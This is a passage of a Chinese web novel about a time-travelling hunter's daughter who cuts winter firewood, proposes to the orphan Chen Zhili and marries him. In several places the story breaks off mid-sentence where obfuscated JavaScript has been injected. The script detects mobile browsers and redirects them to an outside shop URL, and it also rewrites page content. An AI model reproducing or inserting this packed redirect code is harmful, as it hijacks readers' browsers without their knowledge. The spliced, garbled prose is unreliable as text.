许岁安笑笑,“说一会儿吃完饭,我在你们屋子里放点吃的。” 周林不解,疑惑的看着许春花,“妻主,今天晚饭应该够了啊?” 许春花没好意思回话,这有损她大女子的威严。 “爹,是那种零嘴,就像你之前吃的棒棒糖那样的。”许岁安解释道。 周林闻言点点头,“好,那安安你少放点,留着一些等以后日子难过了,甜甜嘴儿。” 许岁安听周林这么说,心里有点不是滋味,她知道在这个朝代能吃饱饭就已经很不错了,寻常人家哪里有那么多余钱去买零嘴呢? 更何况她爹她娘小时候正赶上逃荒,别说零嘴,普通的饭菜都难得。 或许多吃些零嘴可以弥补一下她们小时候的遗憾呢,许岁安想。 “爹,不用省,零嘴空间里可多了,你们放心吃吧。” 周林看着许春花脸上的欣喜,也跟着笑了,“好,那我们就沾沾安安的光了......” 晚饭很快吃完,许岁安跟着许春花走进屋子,在一个小箱子里放了些糖果饼干果汁饮料之类的就离开了。 第二天,许春花在家休息,一家人可以一起吃顿午饭。许岁安毫不吝啬拿出多样肉菜,还有一个大西瓜放在厨房里。 “爹,今天就看你的手艺了,下午我们吃西瓜吧。”许岁安笑嘻嘻的说道。 周林脸上满是笑意,“好,都有这么多种菜了,爹今天一定好好发挥。” 许岁安还想继续说些什么,不巧这时门外传来了一阵大喊。 “安妹——,安妹——,你在家吗?” “安妹——” ...... 许岁安拧眉听着,这叫法有点像是女主啊。 周林笑容也淡了,“是明珠的声音,不知道她找你做什么?” “安安,你还记得之前的保证吗?这回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“安妹!”徐明珠有点生气了,“你怎么变得和那些人一样了?你还是不是我的好朋友了?” “你说是就是,你说不是就不是。”许岁安无所谓道,“反正我是不会再带你了,出了事,村长那边也不好交待。” “我是我,我娘是我娘,你和她交待什么?”徐明珠情绪激动,“就因为我娘,我连上山的自由都没有,你明明知道,今天怎么这么说?” “哦。”许岁安冷漠的看着徐明珠,“大概是我变了吧,反正我不会再带你上山的,你还有其他说的吗?” 徐明珠气的眼睛都红了,她心里委屈,不明白以前的好朋友怎么会变成这样。 “你...”,徐明珠皱着眉头,“你伤没好,我不跟你计较。你先冷静冷静吧,想想我们之前合作的快乐时光,过几天我再来找你。” 说完,像是怕再听到许岁安的拒绝,徐明珠立马转身跑走了。 许岁安也没叫人,就这么静静的看着徐明珠离开,直到再也看不见她的身影,才关好门回屋。 ‘唉,和女主离得太近没什么好下场。’许岁安想着,‘还是当个普通的同村人吧,一起同路逃难就够了。’ 24. 第 24 章 时光飞速流逝,树上的叶子绿了又黄,原本茂盛的树枝,如今只剩干枯的枝桠。 转眼间,时间已经来到了十一月份,冬天到了。 还是曾经的那片树林,此时,有两个女人正不知疲倦的、有节奏的挥着斧子砍伐着树木。 “呼——”,许春花长出一口气,她看着已经砍好的木柴,心里有种莫名的成就感。 长时间的体力劳动,让她的额头上冒出许多汗水。 许春花拿起地上的保温杯吨吨吨连喝几大口,好好的缓解了口中的干渴。 喝完水,她拿着杯子,抬起一只胳膊,直接用袖子把额头上的汗水擦去。 “安安,过来把这些木柴都收了。”许春花招呼着。 许岁安听见声音,停下正在砍树的动作,应了声好,立马走了过来。 即使看了很多次许岁安收东西的动作,许春花还是觉得很神奇。 ‘地上那么多的木柴,安安一个动作,那些木柴竟然一秒钟就消失了。’ 要不是地上还残留着一些木屑,许春花甚至会恍惚的认为自己在做梦。 “娘,还有其他事吗?”收完木柴,许岁安顺口问了句。 许春花想了想,抬头看了看日头,“歇会儿吧,差不多到午饭时间了。” “你去把知礼叫下来吧,他盯着周围一上午了,该下来喝口热水了。” 许岁安点点头,向着陈知礼的方向走去。 过去这几个月,许岁安时常在山上找陈知礼一起行动。一开始是一周找一两次,后面则是一周找三四次。 直到今天,许岁安还记得那次她扭伤好了后,去山上找陈知礼的场景。 那天早上,她兴冲冲的和娘拜别后,就怀着期待去找陈知礼了。 不过不巧的是,也许是她来的晚了,陈知礼出门了,不在山洞。 无奈,许岁安在山洞等了一会儿后,决定自己去找人。路上,她还在想,也不知道陈知礼见到她会是什么样的表情。 大概真的是挺有缘分的吧,许岁安没找多久,就看见了正独自蹲在地上挖野菜的陈知礼。 “陈知礼!”许岁安看见人,也没多想,直接就叫了。 许岁安不知道该怎么形容那时候陈知礼的反应,她记得一开始陈知礼似乎听见了,身形一颤,但并没有其他动作,还是乖乖地蹲在地上挖野菜。 这就让许岁安有点不自信了,难道这人没有听见自己在叫他吗? 不确定,再叫一遍名字试试呢? “陈知礼?”许岁安带着疑惑又喊了一声。 这一次,陈知礼好像终于确定了,他不是幻听,而是真的有人在喊他的名字。 许岁安看见陈知礼转头了,他看见了自己。 这时正巧,有一阵大风吹过来,把地上的小草都吹向同一个方向,也把许岁安的马尾辫吹的高高扬起。 许岁安被风吹的眯了眯眼睛,她再看向陈知礼时,就发现那人红着眼眶,像在外流浪许久的小狗看见主人那样,不顾一切的,飞奔的扑进主人的怀抱里。 许岁安被陈知礼小炮弹一样冲过来的拥抱冲的后退一二步才站稳,她迟疑的抬手回抱住陈知礼,轻声问道:“这是怎么了?” 陈知礼的拥抱非常用力,他就像是害怕眼前这人消失一样,那份拥抱倾尽了他所有的力气。 许岁安被陈知礼抱的有点疼,她想着她们也没有分开很长时间吧,上次见面也就是两三天前的事情。 “知礼弟弟,你怎么了?”许岁安又问了一遍,她其实还想说能不能松开她,但又觉得眼下的场景,好像不能这样说。 “我...”,陈知礼的声音有点闷,“我以为你不会再来了。” “啊?”许岁安不解,“可是上次离别前,我不是和你说过了吗,我养两天脚伤就会再来找你了。” “...我,对不起,...岁安姐姐。”陈知礼的声音有点哽咽,说话也断断续续的。 “我害怕...,我以为你...,...岁安姐姐,没想到你真的还会再回来。” 许岁安轻轻笑了笑,她拍拍陈知礼的后背,“好啦,现在你知道我不是在骗你了吧。” “......嗯。”良久,许岁安听见了陈知礼的应声。 像是终于从这种极度兴奋激动的情绪里冷静下来了,陈知礼松开对许岁安的拥抱,后知后觉的开始害羞起来。 “对不起,岁安姐姐。...我,...那个,我好像有点太激动了。” 陈知礼顶着他红的滴血的耳垂,不时用他那眼尾泛红,眼睛湿漉漉的像小鹿般纯洁无辜的双眼小心打量着许岁安的脸色。 被人这样小心翼翼的看着,许岁安也有点不自在了,“没事,这很正常,呵呵,你刚刚在做什么呀?” “挖野菜!”陈知礼迫不及待的说道,“之前挖的野菜吃的都差不多了,所以就想再挖点。” “岁安姐姐呢?今天要做什么?” 许岁安看着地上长势良好的野菜,想了想,“我今天也挖野菜吧,真好咱俩做个伴。” 陈知礼闻言,红着脸,高兴的弯起嘴角,“好啊,我对这一片可熟悉了,哪里有野菜我都知道。” 许岁安笑笑,“好,那就拜托知礼弟弟带我去找这些地方了。” 陈知礼开心的答应下来,想着自己也是有用的,至少现在可以带着岁安姐姐去挖野菜,不用到处盲目的寻找。 后面许岁安又和陈知礼聊了很多,约定好了之后也会隔三岔五的过来找他。 几个月下来,两人的关系也亲近许多,如今就差捅破那层窗户纸了。 现在到了冬天,大树都干巴巴的只剩枝干,没有多余的树叶了,非常适合砍回家当柴烧。 许岁安和陈知礼说好,为了确保空间使用安全,她给陈知礼一个望远镜和一个口哨,让陈知礼爬上树,在树上查看周围情况。 如果有其他人过来,陈知礼就吹口哨提示,作为回报,在一天砍柴结束时,许岁安会给陈知礼一些劈好的木柴。 “知礼,下来了,到吃午饭的时间了。”许岁安走到陈知礼站着的那棵树下,仰头喊道。 “好。”陈知礼应声,慢慢从树上爬下来。 许岁安等陈知礼下来站稳后,看了一眼他的情况,上前一步,轻轻将陈知礼衣服上的木头碎屑拍下去。 “走吧,娘还等着呢。”许岁安说道。 陈知礼乖乖点头,带着些小羞涩和许岁安一起离开。 两人虽没有说话,但走在一起时,空气中的粉红泡泡非常明显,明眼人一看就知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张有背上背着老高一摞砍好的木柴,她看着背上同样背着木柴的许春花和许岁安,笑着说道。 许春花笑了笑,同张有走在一起,“张姐,真巧,这不是到冬天了吗,家里还是多准备些木柴好。” 张有点头,“是这个理,冬天打猎也难了,你们也没收获吗?” “唉——”,许春花叹了一口气,“哪能天天都有收获呢,饿不死就行。” 张有也是心有戚戚,“是啊,像我们这种猎户,冬天是最难熬的。还是她们那些种地的好,冬天有那么多余粮可以吃。” “春花妹子,你现在攒了多少银钱了,够再买一亩地不?” 许春花摇了摇头,“还差得多呢,你也知道我们家有两个女人,平常吃的也多,还要留出一些银钱来给安安娶夫郎用,剩下的钱实在不好攒啊。” 张有叹息一声,“这年头买块地真是不容易啊。” “也不知道我们家什么时候才可以不做猎户,靠种地就能活下去。” 听着张有的这些话,许春花内心有点难受,她安慰张有,“总会有那一天的,张姐。” 张有听了没有回话,只是轻轻点了点头,到了分别的时候和许春花说了两句,就落寞的离开了。 看着张有离开的背影,许春花也很无奈,她知道张有家的情况,家里那么多人要养,张有攒钱远远比她困难的多。 25. 第 25 章 “回来啦,把东西卸下,准备准备吃饭吧。”周林看着走进来的两人,起身将仓库门打开。 许岁安二人照例将背上背的木材卸下,经过多日的备柴工作,仓库已经被填满大半了。 许春花把门关上,“安安,收一些木柴进空间吧,这库房留一小半木柴就行了,不然后面再带过来的木柴都没地方放了。” 许岁安点头答应,随手就把大半木柴收进空间。 “娘,我们还要上山砍柴砍多久啊?”许岁安问道,现在才十一月份,不会要一直砍到过年前吧。 许春花想了想,“现在才十一月中旬,我们就砍到十二月底吧。” “安安,你也说了,明年的冬天会很漫长,加上今年冬天我们也要用很多木柴,所以这木柴尽量多准备一些。” “嗯,到时候看看一月份的温度怎么样,如果还行,一月份我们也可以再砍几天木柴。” 许岁安听着这些话,都可以想到后面每天辛苦劳动的日子了。 不过,她还是默认了,明年的低温持续时间太长,能多准备就多准备吧,到了明年的低温期,估计出门都困难。 饭桌上,许春花和周林大概说了说今天外出的情况,许岁安没参与,默默吃着饭。 当许春花提到今天还是陈知礼帮她们放哨时,周林下意识的看向许岁安,他还没见过那个叫陈知礼的人呢。 “安安,你和他最近相处的怎么样了?要不要早点把亲事定下来?”周林问道。 他其实倾向于在今年过年前就把许岁安这件亲事定下来的,这样那孩子今年还可以过来和她们一起过年,不然一个人在山上多可怜啊。 许岁安闻言没有多想,“相处的还可以,不过现在定亲事会不会有点早了?” 周林微微蹙眉,“你们相处的时间不算短了,要不要娶亲这件事你心里应该有了想法。” “如果你想娶亲,也不要再耽误了。你们的年纪都合适,现在开始准备,到过年前应该可以让你娶到夫郎。” 这些话对于许岁安来说还是有点太刺激了,她害羞的涨红了脸,娶夫真是一个陌生又让人充满期待的词汇。 按照许岁安之前的打算,她是想等过了年,明年春夏的时候再提的。 不过周林的一番话倒是让她改变了主意,她之前只想着感情的事不用太急,对于成亲这件事还没有什么概念。 周林的话让许岁安突然警醒,自己好像有点忽略了陈知礼的感受了。 明明那个人每次见到她都很欣喜,分开时眼里的不舍也那么明显,她以现代人的思想认为热恋期的小情侣这样是正常的。 但这里是古代,女子和男子之间日日相处、产生好感,不做渣女,就应该成亲的时代。 加上陈知礼一个人在山里居住,夜晚的山里漆黑又寒冷,还有着未知的危险,她和陈知礼互有好感这么久,却没想着把人接下来,实在是不应该。 许岁安的内心忽然有些疼痛和愧疚,这件事是她做的不对,她之前下意识的忽略了夜晚陈知礼的心理和处境。 想着想着,许岁安眼前好像能看到陈知礼一个人孤苦无依、可怜兮兮的缩在被子里。 冰冷的山洞里,他连个说话的人都没有,独自熬过整个夜晚,如果晚上突然有猛兽的叫声,那更是会让人感到心惊胆战。 那样漫长的黑夜里,陈知礼会想些什么呢? 害怕是肯定会害怕的,许岁安带入自己,都觉得自己若是处在那样一个环境里,晚上绝对不敢安心入睡,怕是整晚都得提防着。 陈知礼他会怨自己吗?许岁安有些难过的想着,她想自己明明知道他的处境,却并没有好好的深入思考过...... “爹......”,许岁安有些艰涩的开口,“你说得对,确实该好好定下来了。” “我之前...”,许岁安停住了,她收回将要说出口的话,她之前确实是疏忽了,不过这话说出来有点找补的意思,所以还是算了。 “我明天上山的时候,会和他谈谈这件事。”许岁安已经想好了,明天就把人带下来。 听见许岁安答应了,周林淡淡的笑了,“好,之前我和你娘还愁你的亲事呢,没想到你自己倒是给自己找了一个夫郎。” ***** 第二天一早,许岁安怀着激动忐忑的心情独自上山了。 她昨晚已经和爹娘谈过,决定今天就不砍柴了,让二人在家等她的好消息,她今天绝对会把人带回来。 一个人上山按理说应该会感到一丝寂寥,但今天的许岁安除外,她内心的喜悦和期待已经克制不住了,每一分钟都想着速度再快点,她想早点见到那人。 可是临到陈知礼的住处时,许岁安的脚步却慢了下来。 她的心脏跳的很快,虽然有很大把握知道自己会成功,陈知礼大概会很快答应自己,但真到了这种时候,许岁安的内心还是难免忐忑。 “岁安姐姐!”陈知礼早早的就在山洞外的空地等着,看见许岁安过来了,就挥着手,满脸笑意的朝许岁安跑去。 许岁安僵硬的停下脚步,看着陈知礼兴高采烈的朝她跑来。 “知礼...”,看着陈知礼那双溢满喜悦的眼眸,许岁安觉得自己今天要说的话也许有点晚了。 “我有事和你说,我们先回山洞里吧。” 陈知礼有点疑惑,不过也没多问,乖乖跟在许岁安后面走。 半封闭的空间,幽暗的光线,很好的遮挡住了许岁安通红的脸庞和紧张的神色,她在这种昏暗的环境中,得到了一丝放松。 “知礼,在我们第一次见面时,你说要把你的一切都给我,你还记得吗?”许岁安紧张开口,她的声音有点细微的颤抖。 陈知礼听见许岁安这样说,隐隐的察觉到什么,他没有犹豫的拿出钱袋。 “岁安姐姐......”,陈知礼递出钱袋的手有些颤抖,他害怕是自己想错了,但又实在舍不得错过这一次的机会。 许岁安抬起胳膊,将陈知礼的手和钱袋子都合拢到自己的双手里。 “上次拒绝你,是因为我还没打算负担起另一个人的人生。” 听到这里,陈知礼有种预感,他好像知道接下来会发生什么了,巨大的惊喜猛然降临,陈知礼一时呆在原地,什么反应也做不出来了。 “今天,我想,或许你还愿意把你的一切都交给我吗?” 许岁安脑子有点发懵,她着急忙慌的解释,“我的意思是,你要不要和我成亲,成为我的夫郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157553|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 等了几秒,见对面没有回应,许岁安有点尴尬,她刚想笑着打个哈哈,把这事绕过去,陈知礼就像个小炮弹冲进她怀里。 “我愿意!我愿意!我愿意!!!”陈知礼很大声的喊着。 他收拢手臂,抱紧许岁安,“岁安姐姐......” 陈知礼的眼泪不受控制地落下来,好像这么多年的委屈终于有人可以安抚,好像他终于找到了属于他自己的家了。 “岁安姐姐......”,陈知礼的声音哽咽。 他好像在做梦一样,以往梦寐以求的事情,在今天这个平平无奇的早晨,以一种不可思议的方式降临了。 “岁安姐姐,我要和你成亲,我早就想做你的夫郎了!”陈知礼非常直白明确的说着。 许岁安不知怎么,眼眶也开始泛红,“嗯,我知道。” “抱歉,知礼,我该早点和你说这件事的。” 陈知礼声音闷闷的,断断续续的回道:“你...,岁安姐姐...,你已经说的很早了。” 许岁安抱住陈知礼,轻轻抚摸他的后脑勺,“我的娘爹都知道这件事,她们对于我和你成亲很期待。” “我们从现在开始准备成亲事宜,过年前你肯定能名正言顺的成为我的夫郎。” 知道许岁安的娘爹已经同意这门亲事,加上成亲时间已经确定,陈知礼心里更高兴了。 “嗯!”怀着既羞涩又激动的心情,陈知礼大声回应着。 像是突然想到了什么,陈知礼松开许岁安的怀抱,“钱袋,你还没收。” 许岁安笑了笑,看着陈知礼湿润眼眶里满是执拗的眼神,把钱袋子拿起来,“真的全都给我啦?自己一点儿都不留吗?” “知礼,要不你还是给自己留一点儿吧,也许未来某天你会用到它的。” 陈知礼摇了摇头,“说好的,全都给岁安姐姐。” 许岁安和陈知礼执拗的眼神对视几秒,败下阵来,“好,我收下了。” “山洞里你的其他东西,看看有哪些需要带走的,也一并让我收了吧。” “知礼,既然你选择把一切都交给我,那我自然不能再留你一人,所以你今天就和我回家吧。” 陈知礼愣在原处,他下意识的说道:“可是我们还没成亲......” 许岁安拉住他的手,“没关系,对外就说你是远方投奔过来的表弟,过一两个月就成亲了。” “而且,你一个人在山洞不会感到寂寞害怕吗?我不想你继续住山洞了。” “家里还有一间空房,你正好可以住在那里。” 陈知礼还是有点犹豫,“但这样,你娘爹会不会......” “我和她们商量过了,她们都同意了。而且,你一个人住在山里还是有些危险的。”许岁安说。 “岁安姐姐...,谢谢你。”陈知礼红着眼眶,双手搅在一起。 许岁安和家里商量的就是晚饭前把人带回去,这也是考虑到许岁安和陈知礼沟通需要一些时间,收拾行李也需要时间,加上来回路上的时间,午饭前回去有点不太现实。 所以陈知礼现在有充足的时间去整理平复他的心情,好好的和他的过去告个别,迎接全新且未知的未来。 26. 第 26 章 屋外锣鼓喧天、人声鼎沸,屋内陈知礼一个人安安静静坐在床上,等着他的妻主应酬回来。 外面真的很热闹,即使隔着门窗,陈知礼也大概能听见那一声声的祝贺,夹杂着各种祝酒声。 ‘好像做梦一样’,陈知礼欣喜的弯起嘴角,明明不久前他还只能孤零零的缩在山洞里,如今却可以置身这样幸福的场景。 他今天成亲了!!! 看着屋里挂着的红绸,墙上贴着的‘囍’字,桌上摆放的孕果和喜酒,陈知礼有一种恍惚感,他从来没想过自己竟然也会有这样成亲的一天。 虽然屋里只有自己一个人,但陈知礼却并不觉得孤单。 他满心欢喜的抚摸着红色软被,软被上洒落着一些红枣、花生、桂圆、莲子,寓意早生贵子,看着这些东西,一种幸福感在陈知礼心中不停翻涌着...... “来来来,岁安,过来和姨和两杯。” 虽然不是自己女儿成亲,但大家同为猎户,看着许春花女儿成亲,张有心里也很高兴,她好像都能想象到未来自己女儿成亲时的场景了。 许岁安正好该敬张有这一桌人的酒了,听见张有喊自己,她笑着走过去。 “张姨,谢谢你抽空过来了。”说着,许岁安和张有碰了碰杯,将自己端着的酒杯举起,一饮而尽。 张有感慨地拍了拍许岁安的肩膀,“你这女娃,一转眼都这么大了,想当初你才到我膝盖那么高,如今竟长得比我还高半个头。” “现在都娶夫了,以后可得更加努力养家了啊,多和你娘学学,你娘厉害着呢。” 许岁安笑笑,看着张有晕红的脸颊,知道她已经喝了不少酒,“我知道的,张姨,我现在还和我娘一起打猎呢。” 张有点点头,“打猎,打猎好啊,不管怎样,打猎还是能吃得起饭的。你别管其他人怎么说,那种田的也不是年年都有好收成的。” “张姨,你喝醉了,要不让张胜过来扶着你点吧。”许岁安听着张有说话有点怪了,她不想让张有事后后悔。 “是啊,娘,要不你先坐下吧,我看你刚刚喝的有点多了,现在站的晃晃悠悠的。”张胜过来扶着张有,想带着人坐下。 张有闻言,不高兴的一把挥开了张胜的手,“说什么呢,你娘我才没喝醉,清醒着呢。” “你看看人家岁安就比你大两岁,今天都成亲了,你呢,八字都没一撇,也不知道娘什么时候才能抱上孙女。” 张胜听着,不好意思地红了脸,“娘,我还小呢,不急这个,你先坐下吧,岁安姐还得去敬下一桌呢。” 张有脑子晕晕乎乎的,闻言顺着张胜的力道坐下,“不好意思啊,岁安,让你看笑话了,姨今天高兴,喝的多了点。” 许岁安估计张有是在焦急女儿的亲事,所以今天有感而发了。 “没事,张姨,你坐下歇歇吧。” “赵姨、王姨、孙姨、谢姨,岁安敬你们一杯,谢谢你们今天抽空过来,都吃好喝好啊,岁安先干为敬。” ...... 许岁安后面不知道又喝了多少杯,幸好她酒量还行,加上她之前专门往这酒里掺了些水,所以敬完这一圈酒后,她虽两颊泛红,但脑子还是清醒的。 许春花看着许岁安喝的差不多了,就让她自己先回房去,外面有她和周林招待。 许岁安点点头,没再推辞,她知道今晚对于陈知礼来说非常特殊,自己总不能把时间都浪费在外面。 陈知礼在屋内忐忑又期待的等着许岁安过来,他不知道自己等了多久,总觉得时间过的又长又短的,他好像等了许岁安很久,又好像才等了许岁安一会儿。 直到开门声响起,陈知礼抬眸望去,看见了同自己一样身穿喜服的人走了进来。 到了婚房,许岁安看见了穿着喜服乖乖坐在床边的陈知礼,这才后知后觉的又开始紧张起来。 “你...等很久了吗?”许岁安不自在的说着。 陈知礼羞涩的抿唇浅笑,“不久。” “哦。”许岁安动作僵硬的坐在凳子上,红色的喜烛将她的脸照的通红。 “这个,这个孕果我先收起来,你知道的,现在不好要孩子。”许岁安慌慌张张的收起孕果。 陈知礼红着脸低下头,“嗯,都听岁安姐姐...妻、妻主的...” “嗯”,许岁安害羞的应下来,“知礼...夫郎...你今天很好看。” 陈知礼的皮肤本就白皙,他今天穿着一身红衣,映的皮肤更白了,加上抹了口脂,整个人的气色都显得很好。 “嗯......”,听着许岁安夸他的话,陈知礼心里高兴,可面上却是羞的不敢再抬头。 冬天的温度本来很低,可许岁安却觉得现在热得很,热的她手心好像都出了汗。 “好像有点热哈。”许岁安干笑两声,“夫郎你热吗?” 陈知礼悄咪咪的抬起他湿漉漉、亮晶晶的黑色眼眸,羞答答的瞧了瞧许岁安,“伯母...娘...娘说冬天冷,所以多放了几个火盆。” 许岁安好奇看了看房间的布置,房间的四角都各放了一个火盆,桌子下面也放了一个火盆,加起来共放了五个火盆,她娘这是生怕她们冷着了。 “哈哈哈,原来是这样。”许岁安尬笑两声,“那个,知礼、夫郎,你饿不饿啊,要不要先吃点东西?” 陈知礼轻轻摇头,“我不饿,妻主。” “好...”,又是一阵沉默,许岁安深呼吸两口,定了定神,往杯子里倒上酒,端起来朝陈知礼走去。 “听说成亲最后的仪式就是妻夫在婚房里喝下交杯酒......” 许岁安将一个倒好酒的酒杯递给陈知礼,“知礼,来,我们来喝这交杯酒吧。” 陈知礼顶着绯红的脸颊,认真又激动的喝下了这意义非凡的一杯酒。 喝完交杯酒,许岁安坐在床边,挨着陈知礼,想着自己是妻主,应该要主动些,于是搭在被子上的手小心又缓慢的靠近另一个人的手。 在这个特别的夜晚,两人的心脏都紧张的扑通扑通急跳,忘了是谁先开始亲吻,总之,一切都水到渠成。 ***** 清晨的雾气弥漫开来,万籁俱寂,在朦胧的暗色天空下,小溪村村民开始了一天的活动。 多日养成的生物钟让许岁安在冰凉的空气里醒来,感受到怀里温热的肌肤,许岁安神色一僵。 是啊,她昨天成亲了啊,以后再也不会一个人睡觉了,她的伴侣永远伴其左右。 这几天的天气很冷,加上要准备成亲的事宜,许岁安和许春花已经不再早早起来往山上跑了。 不往山上跑意味着她们不用再那么早起来,在床上多睡会儿也是可以的。 许岁安看着昏暗的房间,想了想,搂紧怀里的人,闭上眼睛,再睡一会儿吧。 也许是顾及许岁安刚刚成亲,今天早上,直到外面天光大亮,也没有人过来叫醒这一对新婚小妻夫。 许岁安不知道自己这回笼觉又睡了多久,反正等她睁开眼时,就正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200107|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞进了陈知礼亮晶晶的眼眸里。 “醒了多久了?”许岁安轻声问道,怀里的陈知礼看见许岁安睁眼,马上就害羞的低下头,只余一只红的滴血的耳朵漏在外面。 “没多久。”陈知礼小声的回道。 许岁安不由自主的轻笑两声,“耳朵好红啊”,她低下头亲亲陈知礼红的发烫的耳朵,然后就感觉到那只耳朵好像更烫了。 “该起床了,夫郎,成亲第一天要给双亲敬茶的。”许岁安的语气轻快又愉悦。 陈知礼闷闷的应了一声,从被子里传来他担心的疑问,“岁安姐姐,现在起来会不会有点晚了?” 许岁安动作不停的穿着衣服,听见陈知礼这么问,没有回答,反而说起其他,“嗯?怎么夫郎今天不叫我妻主了?” 知道许岁安在打趣自己,陈知礼害羞了一会儿,才不好意思的唤了一声,“妻主。” “嗯,乖夫郎,把头露出来吧,一直蒙在被子里可不好。”许岁安笑道。 陈知礼闻言,犹豫了一下,还是乖乖地按照许岁安说的,把头从被子里露出来了。 许岁安看着陈知礼水润的眼眸,笑了笑,上前将被子往上拉了拉,“穿衣服吧,我等着你呢。” 一夜过去,蜡烛早就燃尽,茶壶里的水也早已凉透,许岁安从空间拿出热水,倒进茶杯里凉着。 陈知礼见许岁安背对着他坐着,心里安定许多,拿起衣服快速穿起来。 “不着急,慢慢穿吧,不差这两分钟。”许岁安像是背后长了眼睛一般,不急不徐的对陈知礼说道。 陈知礼动作一顿,接下来穿衣服的速度变得不再那么急切了。 “我穿好了,妻主。”陈知礼羞涩的走到许岁安身边。 许岁安转头,打量了一下陈知礼的穿着,见没什么问题,笑了笑,“好,先喝口水吧,然后梳头洗漱。” “好。”陈知礼乖乖点头,喝下那杯热水,觉得身体一暖。 许岁安看着陈知礼走去梳妆台那里,想了想,从空间拿出一根设计简约的银簪,“用这个吧,要不要我帮你梳一次头?” 陈知礼没有拒绝,他坐在梳妆台的凳子上,仰头看着许岁安,“可以吗?” 许岁安低头浅笑,“当然可以。” 于是陈知礼坐直了身体,安静看着许岁安为他梳头的模样。 都说头发是三千烦恼丝,随着许岁安一遍一遍的为陈知礼梳头,感受到梳子的滑动,感觉到头发越来越顺,陈知礼觉得自己的烦恼好像真的被一梳一梳的带走了。 陈知礼抿唇笑了起来,许岁安看见了,好奇问道:“想什么呢?笑得这么开心。” “妻主,我以前曾听说,只有非常宠爱夫郎的女子才会为他的夫郎梳头的。”陈知礼的声音很轻,他说出这句话也是非常需要勇气的。 许岁安笑了,俯下身亲了亲陈知礼的脸颊,“我当然爱你啊,爱你才会和你成亲嘛。” 陈知礼闻言,羞涩的眨了眨眼睛,“我也是,我也非常非常爱你。” 许岁安将银簪插好,满意的看着自己的手艺,笑着说,“我知道。” 陈知礼爱她这件事,她当然知道,爱一个人,这种浓烈的感情是无法被隐藏起来的。 从陈知礼的言语,从陈知礼下意识的动作,从陈知礼望向她的每一个眼神,许岁安都有明确的感知到,这个人是如此的喜欢她,如此的深爱她。 这也是许岁安愿意这么快成亲的原因,面对这样的陈知礼,她实在是舍不得让他继续等待了。 27. 第 27 章 接下来的日子过的平静且温馨,许岁安和陈知礼的感情越发深厚,她们一家人的相处也越来越和睦自在。 不过许岁安倒是有个甜蜜的烦恼,她成亲前从未想过陈知礼与她成亲后会变得这么黏人。 有其他人在时还好,陈知礼会很克制的只和许岁安牵牵手。 但私下只有许岁安和陈知礼在一起时,那亲亲抱抱什么的必不可少。 陈知礼好像很喜欢和许岁安有肢体接触,即使她们什么都不做,也要黏黏乎乎的贴在一起。 许岁安有时候也会觉得陈知礼过于黏人了,不过每次当她想和陈知礼说这个问题时,看着陈知礼那双满是喜爱依赖的眼眸,她便什么都说不出口了。 ‘算了’,许岁安无奈的想,‘这么多年他都是一个人过来的,如今喜欢贴人也可以理解。’ 而且都这么长时间了,许岁安对于陈知礼喜欢贴贴这件事已经差不多习惯了,哪天要是陈知礼真的变了,许岁安反而会不习惯了。 今天许岁安没去山上,和陈知礼一起待在房间里看着这个时代的话本打发时间。 话本讲的是一个大家公子和家中请的女夫子互相纠缠爱慕的故事,许岁安差不多读到女夫子因家境较低,不被公子家接受,于是愤而读书,定要高中时,大门外传来了急切的拍门声。 许岁安和依赖的靠在自己肩膀上的陈知礼对视一眼,“好像有人在拍门?” 陈知礼直起身,“我也听到了。” 许岁安放下话本,拉着陈知礼起身,“出去看看吧。” “春花妹子,春花妹子你回来了吗?”有人在门外大喊,许岁安听着声音有点熟悉。 “是张姨啊,我娘去镇上卖兔子去了,还没回来呢,你找她有事吗?”许岁安打开门,看见是张有,于是好奇的问道。 去年许岁安和许春花她们说开了以后,决定日子还是尽量像以前那么过,不能突然改变,引人注意。 就比如之前许春花会不定期的去镇上卖猎物,然后再买些东西回来,大家商量过后,决定这个行为保持不变。 不过去镇上的人选就随机组合了,有时是许春花和许岁安,有时是许岁安和陈知礼,有时是许春花和周林,有时是许岁安和周林。 “你娘还没回来啊!”张有语气有些激动。 许岁安轻轻摇头,“估计还得有一会儿,张姨有什么事可以先和我说,等我娘回来我立马转告她。” “行行行,这样也行。”张有神色焦急,“村长说要卖她的地了,你问问你娘买不,现在想买的人可多了,让你娘抓紧时间。” 许岁安眉头微皱,“村长要卖地,为什么?” “还不是为了她那个女儿,听说村长下定决心了,一定要供她女儿考上去。” “她女儿在村里不好好学,现在村长就想着拿银钱带着她女儿去镇上的学堂上学。” “她们家的现银不多,所以村长就想着卖地来凑,听说村长现在要卖了她有的一半的土地呢。” 